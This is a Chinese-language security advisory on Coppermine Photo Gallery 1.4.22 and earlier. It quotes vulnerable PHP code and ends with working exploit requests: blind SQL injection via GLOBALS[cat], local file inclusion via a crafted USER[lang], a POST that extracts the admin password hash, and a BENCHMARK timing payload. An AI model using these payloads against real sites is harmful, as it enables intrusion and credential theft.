Coppermine Photo Gallery多个SQL注入和本地文件包含漏洞

影响版本:
Coppermine Photo Gallery <= 1.4.22

程序介绍:

Coppermine是用PHP编写的多用途集成Web图形库脚本。 

漏洞分析:

在Coppermine的/includes/init.inc.php文件的42-65行,远程攻击者可以绕过防register_global保护,执行SQL盲注或本地文件包含攻击:

 
  1. $keysToSkip = array(‘_POST’‘_GET’‘_COOKIE’‘_REQUEST’‘_SERVER’‘HTML_SUBST’‘keysToSkip’‘register_globals_flag’‘cpgdebugger’);  
  2.   
  3. if (ini_get(‘register_globals’) == ‘1’ || strtolower(ini_get(‘register_globals’)) == ‘on’) {  
  4.     $register_globals_flag = true;  
  5. else {  
  6.     $register_globals_flag = false;  
  7. }  
  8.   
  9. if (get_magic_quotes_gpc()) {  
  10.         if (is_array($_POST)) {  
  11.                 foreach ($_POST as $key => $value) {  
  12.                         if (!is_array($value))  
  13.                                 $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);  
  14.                         if (!in_array($key$keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);  
  15.                 }  
  16.         }  
  17.   
  18.         if (is_array($_GET)) {  
  19.                 foreach ($_GET as $key => $value) {  
  20.                         unset($_GET[$key]);  
  21.                         $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);  
  22.                         if (!in_array($key$keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);  
  23.                 }  
  24.         }  

$_COOKIE和$_SERVER变量存在同样问题。在magic_quotes_gpc = off时,可绕过保护通过GET或POST请求定义GLOBALS。
以下是exploit攻击的方式。在./thumbnails.php文件的79行:

 
  1. if (isset($_GET[‘sort’])) $USER[‘sort’] = $_GET[‘sort’];  
  2. if (isset($_GET[‘cat’])) $cat = (int)$_GET[‘cat’];        <== bypass the int cast   
  3. if (isset($_GET[‘album’])) $album = $_GET[‘album’];  
  4.   
  5. …  
  6. if (is_numeric($album)) {  
  7. …  
  8.       
  9. else {  
  10.     $album_set_array = array();  
  11.     if ($cat == USER_GAL_CAT)  
  12.             $where = ‘category > ‘ . FIRST_USER_CAT;  
  13.        else  
  14.             $where = "category = ‘$cat’";  
  15.   
  16.     $result = cpg_db_query("SELECT aid FROM {$CONFIG[‘TABLE_ALBUMS’]} WHERE $where");  <==  Vulnerable query  

—————————————————————————————–

还可以通过本地文件包含覆盖$USER数组,具体来说是$USER[‘lang’]变量。在/include/functions.inc.php文件的128-135行:

 
  1. function user_get_profile()  
  2. {  
  3.         global $CONFIG$USER;  
  4.   
  5.         if (isset($_COOKIE[$CONFIG[‘cookie_name’].‘_data’])) {  
  6.                 $USER = @unserialize(@base64_decode($_COOKIE[$CONFIG[‘cookie_name’].‘_data’]));  
  7.                 $USER[‘lang’] = strtr($USER[‘lang’], ‘$/\\:*?"\'<>|`’‘____________’);        <== we bypass it  
  8.         }  
  9.     
  10.     if (!isset($USER[‘ID’]) || strlen($USER[‘ID’]) != 32) {  
  11.                 list($usec$sec) = explode(‘ ‘, microtime());  
  12.                 $seed = (float) $sec + ((float) $usec * 100000);  
  13.                 srand($seed);  
  14.                 $USER=array(‘ID’ => md5(uniqid(rand(),1)));  
  15.         } else {  
  16.                 $USER[‘ID’] = addslashes($USER[‘ID’]);  
  17.         }  
  18.   
  19.         if (!isset($USER[‘am’])) $USER[‘am’] = 1;  
  20. }  

/includes/init.inc.php文件的318-346行:

 
  1. if (isset($USER[‘lang’]) && !strstr($USER[‘lang’], ‘/’) && file_exists(‘lang/’ . $USER[‘lang’] . ‘.php’))  
  2. {  
  3.         $CONFIG[‘default_lang’] = $CONFIG[‘lang’];          // Save default language  
  4.         $CONFIG[‘lang’] = strtr($USER[‘lang’], ‘$/\\:*?"\'<>|`’‘____________’);  
  5. }  
  6. elseif ($CONFIG[‘charset’] == ‘utf-8’)            <== default configuration  
  7. {  
  8.            include(‘include/select_lang.inc.php’);  
  9.         if (file_exists(‘lang/’ . $USER[‘lang’] . ‘.php’))  
  10.         {  
  11.                 $CONFIG[‘default_lang’] = $CONFIG[‘lang’];      // Save default language  
  12.                 $CONFIG[‘lang’] = $USER[‘lang’];  
  13.         }  
  14. }  
  15. else  
  16. {  
  17.         unset($USER[‘lang’]);  
  18. }  
  19.   
  20. if (isset($CONFIG[‘default_lang’]) && ($CONFIG[‘default_lang’]==$CONFIG[‘lang’]))  
  21. {  
  22.             unset($CONFIG[‘default_lang’]);  
  23. }  
  24.   
  25. if (!file_exists("lang/{$CONFIG[‘lang’]}.php"))  
  26.   $CONFIG[‘lang’] = ‘english’;  
  27.   
  28. // We load the chosen language file  
  29. require "lang/{$CONFIG[‘lang’]}.php";        <== vulnerable include  

—————————————————————————————–

如果启用了注册功能,能够通过口令创建或修改相册的用户可以执行sql盲注。
./db_input.php文件:

 
  1. $event = isset($_POST[‘event’]) ? $_POST[‘event’] : $_GET[‘event’];  
  2. switch ($event) {  
  3.   
  4. …  
  5.   
  6. case ‘album_update’:  
  7.     if (!(USER_ADMIN_MODE || GALLERY_ADMIN_MODE)) cpg_die(ERROR, $lang_errors[‘perm_denied’], __FILE____LINE__); <== USER_ADMIN_MODE is TRUE if we are logged in  
  8.   
  9.     $aid = (int)$_POST[‘aid’];  
  10.     $title = addslashes(trim($_POST[‘title’]));  
  11.     $category = (int)$_POST[‘category’];  
  12.     $description = addslashes(trim($_POST[‘description’]));  
  13.             $keyword = addslashes(trim($_POST[‘keyword’]));  
  14.     $thumb = (int)$_POST[‘thumb’];  
  15.     $visibility = (int)$_POST[‘visibility’];  
  16.     $uploads = $_POST[‘uploads’] == ‘YES’ ? ‘YES’ : ‘NO’;  
  17.     $comments = $_POST[‘comments’] == ‘YES’ ? ‘YES’ : ‘NO’;  
  18.     $votes = $_POST[‘votes’] == ‘YES’ ? ‘YES’ : ‘NO’;  
  19.     $password = $_POST[‘alb_password’];                    <== this var is not addslashed  
  20.             $password_hint = addslashes(trim($_POST[‘alb_password_hint’]));  
  21.     $visibility = !emptyempty($password) ? FIRST_USER_CAT + USER_ID : $visibility;  
  22.   
  23.     if (!$title) cpg_die(ERROR, $lang_db_input_php[‘alb_need_title’], __FILE____LINE__);  
  24.   
  25.     if (GALLERY_ADMIN_MODE) {  
  26.         $query = "UPDATE {$CONFIG[‘TABLE_ALBUMS’]} SET title=’$title’, description=’$description’, category=’$category’, thumb=’$thumb’, uploads=’$uploads’, comments=’$comments’, votes=’$votes’, visibility=’$visibility’, alb_password=’$password’, alb_password_hint=’$password_hint’, keyword=’$keyword’ WHERE aid=’$aid’ LIMIT 1";  
  27.     } else {  
  28.         $category = FIRST_USER_CAT + USER_ID;  
  29.         $query = "UPDATE {$CONFIG[‘TABLE_ALBUMS’]} SET title=’$title’, description=’$description’, thumb=’$thumb’,  comments=’$comments’, votes=’$votes’, visibility=’$visibility’, alb_password=’$password’,        <== vulnerable query alb_password_hint=’$password_hint’,keyword=’$keyword’ WHERE aid=’$aid’ AND category=’$category’ LIMIT 1";  
  30.     }  
  31.   
  32.     $update = cpg_db_query($query);  

在查询中使用之前没有对$_POST[‘alb_password’]执行addslash操作。init.inc.php中过滤了所有_GET、_POST和_REQUEST变量:

 
  1. // Do some cleanup in GET, POST and cookie data and un-register global vars  
  2. $HTML_SUBST = array(‘&’ => ‘&’‘"’ => ‘"’‘<‘ => ‘<‘‘>’ => ‘>’‘%26’ => ‘&’‘%22’ => ‘"’‘%3C’ => ‘<‘‘%3E’ => ‘>’,‘%27’ => ”’, "‘" => ‘”);   
  3.   
  4. …  
  5. $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);  
  6. …  
  7. $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);  
  8. …  
  9. $_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);  

但没有处理反斜线(\),因此可以操作查询在$_POST[‘alb_password’]的默认注入反斜线并在$_POST[‘alb_password_hint’]参数中执行SQL。
——————————————————————————————

某些配置的Coppermine中还存在一些SQL盲注。在./displayecard.php文件的26-38行:

 
  1. if (!isset($_GET[‘data’])) cpg_die(CRITICAL_ERROR, $lang_errors[‘param_missing’], __FILE____LINE__);  
  2.   
  3. $data = array();  
  4. $data = @unserialize(@base64_decode($_GET[‘data’]));  
  5.   
  6. // attempt to obtain full link from db if ecard logging enabled and min 12 chars of data is provided and only 1 match  
  7. if ((!is_array($data)) && $CONFIG[‘log_ecards’] && (strlen($_GET[‘data’]) > 12)) {  
  8.         $result = cpg_db_query("SELECT link FROM {$CONFIG[‘TABLE_ECARDS’]} WHERE link LIKE ‘{$_GET[‘data’]}%’");  
  9.         if (mysql_num_rows($result) === 1) {  
  10.                 $row = mysql_fetch_assoc($result);  
  11.                 $data = @unserialize(@base64_decode($row[‘link’]));  
  12.         }  

漏洞利用:

[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999′ OR 1=1%23    true
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999′ OR 1=2%23    false

GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1
Host: [host]
Connection: close

POST /[path]/db_input.php HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Cookie: [your_cookies]
Content-Type: application/x-www-form-urlencoded

event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23

用以下php代码注入:
<?php
$injection = "%’ OR BENCHMARK(999999, md5(0))#";
$injection = urlencode(base64_encode(serialize($injection)));
?>

然后:
GET http://[host]/[path]/displayecard.php?data=[$injection] HTTP/1.1

解决方案:
厂商补丁:
Coppermine
———-
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.chezgreg.net/coppermine/

信息来源:
<*来源:GiReX
链接:http://www.milw0rm.com/exploits/8713
http://secunia.com/advisories/35144/

发表评论?

0 条评论。

发表评论